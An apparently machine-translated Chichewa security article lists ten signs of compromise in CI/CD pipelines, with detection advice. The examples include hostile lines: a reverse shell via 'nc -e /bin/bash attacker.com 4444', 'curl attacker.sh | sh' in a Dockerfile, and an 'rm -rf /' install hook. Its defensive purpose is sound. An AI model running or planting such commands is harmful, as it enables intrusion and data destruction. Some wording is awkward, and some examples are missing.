Chiyambi: Kodi Zizindikiro za Kusagwirizana mu Chitetezo cha Pa Intaneti Ndi Ziti?
Zizindikiro za kusagwirizana ndi zizindikiro zoyamba zochenjeza kuti dongosolo lanu kapena pipeline akhoza kuukiridwa. Mwachidule, zizindikiro za mgwirizano ndi zizindikiro zotsalira za owukira, ngati zachilendo logins, kusintha kwa mafayilo, kapena pulogalamu yaumbanda yobisika. Mu Chitetezo cha pa intaneti cha IOC, amachita ngati zala zala pamalo ochitikira upandu, zomwe zimakupatsirani umboni womveka bwino wosonyeza kuti pali vuto. Chifukwa chake, opanga mapulogalamu akafunsa zizindikiro za mgwirizano ndi ziti?, yankho silimangokhala pa ma seva kapena ma firewall okha, komanso limaphatikizapo zoopsa zobisika mu zamakono CI/CD pipelines.
Mu izi pipelines, owukira amatha kusokoneza ma code, kulowetsa zinthu zoipa, kapena kusintha njira zomangira popanda kuzindikirika. Komabe, malangizo ambiri amangoyang'ana pa ma seva kapena ma network okha. Chifukwa chake, unyolo wopereka mapulogalamu wakhala chimodzi mwa zolinga zosavuta.
Ndicho chifukwa chake kupeza zizindikiro za mgwirizano mu CI/CD pipelines ndi yofunika kwambiri. Koposa zonse, zimathandiza magulu kuletsa pulogalamu yaumbanda, kuteteza zinsinsi, komanso kuteteza gawo lililonse la kutumiza mapulogalamu.
Zizindikiro 10 Zapamwamba za Kugwirizana mu CI/CD Pipelines
Pofotokoza zizindikiro za mgwirizano, mndandanda wambiri umayang'ana kwambiri pa ma seva kapena ma netiweki. CI/CD pipelines, owukira amasiya zala zosiyana kwambiri. Kuzindikira zizindikiro izi ndikofunikira kwambiri pachitetezo chofulumira. Pansipa pali zizindikiro 10 zowopsa za chitetezo cha pa intaneti za IOC zomwe wopanga mapulogalamu ndi mainjiniya achitetezo ayenera kuyang'anira.
1. Kusintha Kokayikitsa kwa Kudalira
Chimodzi mwa zizindikiro zazikulu za mgwirizano mu pipelines ndi kusintha kwadzidzidzi komanso kwachilendo kwa kudalira. Owukira nthawi zambiri amagwiritsa ntchito malo a opanga odalirika mu oyang'anira ma phukusi kuti awonjezere ma phukusi owopsa.
Mwachitsanzo, mu npm a package.json diff ikhoza kuphatikizapo mwadzidzidzi:
Kusintha koteroko kungawoneke kotetezeka koma kungalowetse ma code a trojanized mu kapangidwe kalikonse.
Zotsatira: zomangamanga zosokonekera zimalandira pulogalamu yaumbanda komwe kumachokera.
Dziwani: kulimbikitsa ndemanga zodalira, kutsata mafayilo otsekeka kumasiyana, ndikusanthula mapaketi atsopano nthawi zonse.
2. Khodi Yobisika mu Zomangamanga
Olemba mapulogalamu olakwika amadalira kubisa kuti apewe ndemanga. Chifukwa chake, chizindikiro ichi cha kusagwirizana mu CI/CD pipelines ikhoza kukhala imodzi mwazovuta kwambiri kuzigwira. Ndipotu, zinthu zobisika nthawi zambiri zimalowa m'malaibulale otseguka kapena zithunzi za m'mabokosi popanda kudziwitsa.
Mwachitsanzo:
- Phukusi la PyPI logwiritsa ntchito
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Chithunzi cha Docker chodzaza ndi ma binary osafunikira a UPX.
- JavaScript yodzaza ndi
\x41\x42akuthawa kubisala anthu omwe amaba ziphaso.
Zotsatira: Khodi yobisika imagwira ntchito mwakachetechete panthawi yomanga kapena yogwira ntchito, zomwe zimapangitsa izi kukhala chizindikiro chofunikira kwambiri pa chitetezo cha intaneti cha IOC.
Dziwani: Gwirizanitsani SAST pogwiritsa ntchito pulogalamu yaumbanda yofufuzira kuti iwonetse ma code omwe alembedwa kapena opakidwa. Koposa zonse, onani kubisika ngati chizindikiro chofiira chomwe chikuyenera kufufuzidwa kwambiri.
3. Zinsinsi Zovumbulutsidwa mu Git: Chiwopsezo Chachikale cha Chitetezo cha Paintaneti cha IOC
CI/CD pipelinenthawi zambiri amalandira zinsinsi mwachindunji kuchokera ku malo osungiramo zinthu. Komabe, pamene zinsinsi zikuwonekera mu Git, zimakhala yankho lomveka bwino la funso lakuti “kodi zizindikiro za kusagwirizana ndi chiyani mu pipelines?” Zikalata zikafika ku Git, owukira amatha kuzigwiritsa ntchito kwamuyaya.
Mwachitsanzo:
- A
.envwapamwamba wokhala ndiAWS_SECRET_KEY=. - Zizindikiro zalowetsedwa
config.json. - Zinsinsi zikuonekabe mu mbiri ya Git ngakhale zitachotsedwa.
Zotsatira: Makiyi owonekera amapatsa owukira mwayi wolowera mwachindunji CI/CD pipelines, machitidwe a mitambo, kapena ma database. Chifukwa chake ichi ndi chimodzi mwa zizindikiro zoopsa kwambiri za kusagwirizana.
Dziwani: ntchito pre-commit hooks ndi ntchito za CI zofufuzira mobisa, ndikuchotsa makiyi otuluka nthawi yomweyo. Kuphatikiza apo, yesetsani kukonza zokha kuti muchepetse mawindo owonekera.
4. Kusokonezedwa Pipeline Makonzedwe: Zizindikiro Zobisika za Kugwirizana
Pipeline ma config ndi zolinga zamtengo wapatali chifukwa Kusintha kamodzi kokha nthawi zambiri kumasokoneza ntchito yonseChifukwa chake, zasinthidwa pipeline Mafayilo ndi chiopsezo chachikulu cha chitetezo cha pa intaneti cha IOC chomwe zida zowunikira zakale sizimachipeza kawirikawiri.
Mwachitsanzo:
Mu Zochita za GitHub:
- Mu GitLab: ntchito yoipa yowonjezeredwa ku
.gitlab-ci.ymlzomwe zimataya deta yachinsinsi. - Mu Jenkins:
sh "nc -e /bin/bash attacker.com 4444".
Zotsatira: Kusintha kumeneku komwe sikuvomerezedwa kukupangitsani kukhala pipeline kulowa m'malo obisika kwa owukira, zomwe zimawerengedwa ngati chizindikiro cha mgwirizano.
Dziwani: Kutsatira malamulo osainidwa, kumafuna zilolezo za PR, ndikuyang'anira ntchito zosayembekezereka. Kuphatikiza apo, khazikitsani guardrails zomwe zimatseka zokha njira zogwirira ntchito zosinthidwa.
5. Mwayi IaC Zochita zolakwika
Matanthauzidwe olakwika a zomangamanga nthawi zambiri amapanga zitseko zobisika. Chifukwa chake, zolakwika zapadera mu IaC ndi chiopsezo chapadera cha chitetezo cha pa intaneti cha IOC.
Mwachitsanzo:
- A Kubernetes deployment granting pods
privileged: true. - Ma chart a Helm omwe akuwonetsa ntchito ndi
0.0.0.0:22.
Zotsatira: Owukira amapeza mwayi wolowera kapena kuulula ntchito zamkati mwawo poyera. Chifukwa chake, mavutowa amakulitsa kwambiri malo owukira.
Dziwani: Ikani IaC Kusanthula kuti mutsimikizire kuti palibe mwayi uliwonse musanagwiritse ntchito. Kuphatikiza apo, onetsetsani kuti makonzedwe onse ayang'aniridwa ngati gawo la pipeline.
6. Makhalidwe Osazolowereka Omanga
Owukira nthawi zambiri amasintha pipeline khalidwe loipa. Mwa kuyankhula kwina, ntchito yomanga yosazolowereka ndi imodzi mwa mayankho omveka bwino a zomwe zimasonyeza kusagwirizana mu CI/CD pipelines.
Mwachitsanzo:
- Imamanga mapempho a netiweki yotuluka kupita ku ma domain achilendo.
- Pulojekiti ya Node.js inayambitsa mwadzidzidzi PowerShell panthawi ya
npm install. - Ntchito ya CI yotsitsa ma binary akuluakulu omwe sanatchulidwe mu zolemba zomangira.
Zotsatira: Mapulani opangidwa molakwika amatha kugwira ntchito ngati malo ogawa mapulogalamu a pulogalamu yaumbanda. Koposa zonse, amafalitsa zinthu zoipa pa ntchito iliyonse yokhazikitsa.
Dziwani: Yang'anirani zolemba zomangira kuti muwone ngati pali njira zosayembekezereka kapena maulumikizidwe. Kuphatikiza apo, konzani kuzindikira zolakwika kuti muwonetse machitidwe omwe sali okhazikika.
7. Zolemba Zoyipa za Phukusi Monga Zoopsa za IOC Cybersecurity
Oyang'anira phukusi amathandizira moyo wonse hooks zomwe owukira amawagwiritsa ntchito. Chifukwa chake, zolemba zoyipa mu npm, PyPI, kapena Dockerfiles ndi zizindikiro zamphamvu zosonyeza kuti pali mgwirizano.
Mwachitsanzo:
- npm:
postinstallscript ikuyendarm -rf /kapena kuunikira ku C2. - PyPI:
setup.pykugwiritsa ntchito code yobisika ya Python pakukhazikitsa. - Fayilo ya Docker:
RUN curl attacker.sh | sh.
Zotsatira: Kuukira kumeneku kumachitika panthawi yokhazikitsa, musanayambe kuyesa kulikonse kwa nthawi yogwiritsira ntchito. Chifukwa chake, opanga mapulogalamu sangazindikire mpaka zitachedwa.
Dziwani: Skani ma manifest a phukusi kuti mupeze zolemba zoyikira. Kuphatikiza apo, chepetsani zoopsa hooks in CI/CD ntchito zochepetsera kukhudzidwa.
8. Zizindikiro za Poizoni wa Registry
Oukira amalowa m'malo kapena kusintha zinthu zakale m'ma registry, ndipo zochitika izi ndi zitsanzo za zomwe zikuwonetsa kusakhazikika mu unyolo wogulitsa pipelines.
Mwachitsanzo:
- Chizindikiro cha chithunzi cha Docker chasinthidwa mwakachetechete ndi gawo lokhala ndi trojanised.
- Phukusi lamkati lasinthidwa ndi mtundu wa poizoni.
- npm namespace squatting, monga
lodash-proxy.
Zotsatira: Kapangidwe kalikonse kogwiritsa ntchito zinthu zakale za registry kamasokonekera. Sikuti kokha, komanso mgwirizano umafalikira ku mautumiki ena.
Dziwani: Limbikitsani kutsimikizira kusaina ndi kukhulupirika pa zolembera zonse. Kuphatikiza apo, tsatirani komwe zinthu zakale zachokera ndi SBOM kutsimikiza.
9. Zochita Zosazolowereka za Ogwiritsa Ntchito Monga Umboni wa IOC
Nkhani zosokoneza nthawi zambiri zimasiya zizindikiro zachilendo. Motero, khalidwe losazolowereka la opanga mapulogalamu ndi chizindikiro champhamvu cha kusagwirizana.
Mwachitsanzo:
- Commits idakankhidwa nthawi ya 3 koloko m'mawa.
- Kuvomerezedwa ndi PR ndi maakaunti pa tchuthi.
- Pipelines imayambitsidwa ndi pafupipafupi zachilendo.
Zotsatira: Owukira amagwiritsa ntchito molakwika ziphaso zobedwa kuti aike zosintha zoyipa. Kupatula apo, osaloledwa commits zimasakanikirana mosavuta ndi njira zachizolowezi zogwirira ntchito.
Dziwani: polojekiti SCM zochitika za zolakwika, kukakamiza MFA, ndi kusinthasintha ma tokeni nthawi zonse. Kuphatikiza apo, chenjezani ngati pali zokayikitsa commit kapena njira zovomerezeka.
10. Kulephera Kukhulupirika kapena Kuyang'ana Siginecha mu IOC Cybersecurity
Chofala koma chonyalanyazidwa chizindikiro cha mgwirizano ndi cheke chosagwira ntchito bwino kapena cheke chosainidwa. Mu chitetezo cha pa intaneti cha IOC, chekechi chimatsimikizira kuti ma code kapena zinthu zakale ndi zenizeni. Kuzidumpha kumasiya pipelines yawululidwa.
zitsanzo:
- Hash ya SHA256 yomwe sikugwirizana ndi checksum yomwe ikuyembekezeka.
- Saini ya GPG yomwe ikusowa kapena yosavomerezeka.
- An SBOM kusonyeza zinthu zakale zosasainidwa.
Zotsatira: Kulephera kukhulupirika nthawi zambiri kumatanthauza kusokoneza, kuwononga registry, kapena kulowetsa pulogalamu yaumbanda.
Dziwani: Yesetsani kutsimikizira kuti checksum ndi yolondola, ndikuletsa zinthu zomwe sizinasainidwe. Koposa zonse, ganizirani kuti cheke iliyonse yolephera ndi umboni womveka bwino wosonyeza kuti zinthu zalephera.
CI/CD Zizindikiro za Kugwirizana Mwachidule
| Chizindikiro cha Kugwirizana (IOC) | Impact mu CI/CD Pipelines | Momwe Mungadziwire |
|---|---|---|
| Kusintha Kokayikitsa kwa Kudalira | Oukira amaika malaibulale oipa m'mapulogalamu oyang'anira mapulogalamu, zomwe zimapangitsa kuti pakhale zomangira zosokonekera. | Tsatirani fayilo yotsekera imasiyana, imalimbikitsa ndemanga zodalira, ndikusanthula zodalira mosalekeza. |
| Khodi Yobisika mu Zomangamanga | Zolipira zobisika zimachitika panthawi yomanga kapena nthawi yogwirira ntchito popanda kuzindikirika. | ntchito SAST ndi kusanthula pulogalamu yaumbanda kuti iwonetse mawonekedwe a base64, hex, kapena ma code opakidwa. |
| Zinsinsi Zavumbulutsidwa mu Git | Ma tokeni otuluka kapena makiyi a API amapatsa owukira mwayi wolowera mwachindunji ku machitidwe ofunikira. | Yendetsani ma scan achinsinsi mu Git hooks ndipo chotsani ziphaso zomwe zavunda zokha. |
| Zosokonezedwa Pipeline Mipangidwe | Ma workflows osinthidwa amalola kutulutsa deta kapena kupitilira mkati CI/CD. | Amafuna kuvomereza kwa PR, kukakamiza ma configs osainidwa, ndikuwunika pipeline kusintha. |
| Mwayi IaC Zochita zolakwika | Ntchito zololeza kwambiri kapena zosakhazikika zodzitetezera zimavumbula malo amtambo. | Skani mafayilo a Terraform, Kubernetes, ndi Helm kuti muwone ngati pali malamulo okhwima okhudza kugwiritsa ntchito ufulu wa anthu. |
| Makhalidwe Osazolowereka Omanga | Pipelineamagwiritsidwa ntchito ngati malo ogawa mapulogalamu a pulogalamu yaumbanda kapena kuyenda mbali. | Unikani zolemba zomangira kuti muwone ngati pali zotsitsa zosayembekezereka, njira, kapena mafoni otuluka. |
| Zolemba za Maphukusi Oyipa | Zolemba zobisika zisanayambe/zitatha kukhazikitsa zimayambitsa kulipidwa kwa ndalama musanayambe kuyesa kwa nthawi yogwiritsira ntchito. | Letsani zolemba zoopsa za npm/PyPI ndikuletsa kuchitidwa mu CI/CD ntchito. |
| Poizoni wa Registry | Zinthu zakale za Trojan zimalowa m'malo mwa zithunzi zodalirika kapena ma binary mu registry. | Tsimikizani ma checksums, onetsetsani kuti mwatsimikizira siginecha yanu, ndikusanthula ma registry mwachangu. |
| Zochita Zosazolowereka za Ogwiritsa Ntchito | Maakaunti omwe ali pachiwopsezo amayambitsa nkhanza commits kapena choyambitsa pipelines. | Kukhazikitsa MFA, kuyang'anira commits za zolakwika, ndikuwunika login machitidwe. |
| Kulephera Kusunga Umphumphu Kapena Kufufuza Siginecha | Imasonyeza khodi yosokonezedwa, zodalira, kapena zithunzi zomwe zikulowa mu pipeline. | Yesetsani kuyang'ana umphumphu ndikuletsa zinthu zosasainidwa kapena zosafanana. |
Chifukwa Chake Chitetezo Chapaintaneti Chachikhalidwe cha IOC Chikulephera CI/CD Kuwopsa
Mabungwe ambiri amayang'anira kale zizindikiro za kusagwirizana pa ma seva, makompyuta, kapena ma netiweki. Komabe, njira yakale iyi yogwiritsira ntchito chitetezo cha pa intaneti cha IOC imanyalanyaza CI/CD pipelines, zomwe tsopano ndi chimodzi mwa malo owukira ovuta kwambiri. Ndipotu, pipelines amasonyeza zizindikiro zapadera zosagwirizana zomwe zida zachikhalidwe sizingathe kuzizindikira.
Zizindikiro za Kusagwirizana mu Chitetezo Chachikhalidwe
Mu chitetezo cha pa intaneti cha IOC chachizolowezi, nthawi zambiri cholinga chake chimakhala pa:
- zachilendo loginma adilesi a IP kapena ma s omwe akusonyeza ziphaso zobedwa.
- Ma hashes okayikitsa a mafayilo kapena kusintha kwa registry komwe kumavumbula pulogalamu yaumbanda.
- Magalimoto osayembekezereka omwe akuwonetsa kuti deta ichotsedwa.
Izi ndi zizindikiro zodziwika bwino zomwe zimatsatiridwanso mu Chithunzi cha MITER ATT&CK, zomwe zimawonetsa machitidwe ndi njira zomwe mdani amakumana nazo. Izi ndi zizindikiro zothandiza. Komabe, zimagwiritsidwa ntchito makamaka pamakina ogwirira ntchito kapena maukonde amakampani. Chifukwa chake, amaphonya kusokoneza pang'ono komwe kumachitika kale mu unyolo wopereka mapulogalamu.
chifukwa CI/CD PipelineNdi Zosiyana
CI/CD pipelines ndi malo odzipangira okha kumene opanga mapulogalamu commit khodi, kukoka kudalira, ndi kumasula. Owukira amadziwa kuti mgwirizano umodzi pano umafalikira pa ntchito iliyonse. Chifukwa chake, kodi zizindikiro za mgwirizano ndi ziti mu CI/CD pipelineAmawoneka mosiyana kwambiri:
- Kudalira koipa komwe kwawonjezeredwa mwakachetechete ku package.json kapena requirements.txt.
- Makiyi a API kapena ma tokeni awonekera mu Git commits kapena mafayilo a .env.
- Khodi yobisika yolowetsedwa mu phukusi la npm kapena PyPI.
- Mafayilo a Terraform kapena Kubernetes omwe ali ndi zosinthika zosatetezeka monga zamtengo wapatali: zoona.
- Pipeline ntchito zosinthidwa kuti zitulutse deta kapena kutsegula zitseko zakumbuyo.
Zizindikiro izi zotsutsana mu CI/CD osawoneka kwa standard zida zachitetezo.
Kusiyana mu chitetezo cha pa intaneti cha IOC
Ngakhale magulu ambiri amamvetsetsa kufunika kwa zizindikiro za mgwirizano, amadalirabe kuzindikira kuchokera ku ma seva ndi ma network logs okha. Chifukwa chake, owukira amatha kupanga poizoni kapena kuyika pulogalamu yaumbanda popanda kusiya zizindikiro wamba. Ichi ndichifukwa chake zochitika monga XZ Utils backdoor kapena ma package a npm oipa sizinadziwike mpaka atapangidwa.
Mitundu iyi ya mgwirizano wa unyolo wogulira zinthu ikuwonetsedwanso ndi CISMalangizo a chitetezo cha unyolo wogulira zinthu wa A, zomwe zimachenjeza kuti owukira akuchulukirachulukira CI/CD pipelines ndi ma registry.
Mtsinje
Chitetezo cha pa intaneti cha IOC ndi chofunikira koma sichikwanira. Koposa zonse, magulu ayenera kuzindikira zizindikiro za kusagwirizana komwe kulipo pa CI/CD pipelines. Pokhapokha ndi pomwe angazindikire khodi yoyipa kapena pipeline nkhanza zisanafalikire m'malo osiyanasiyana.
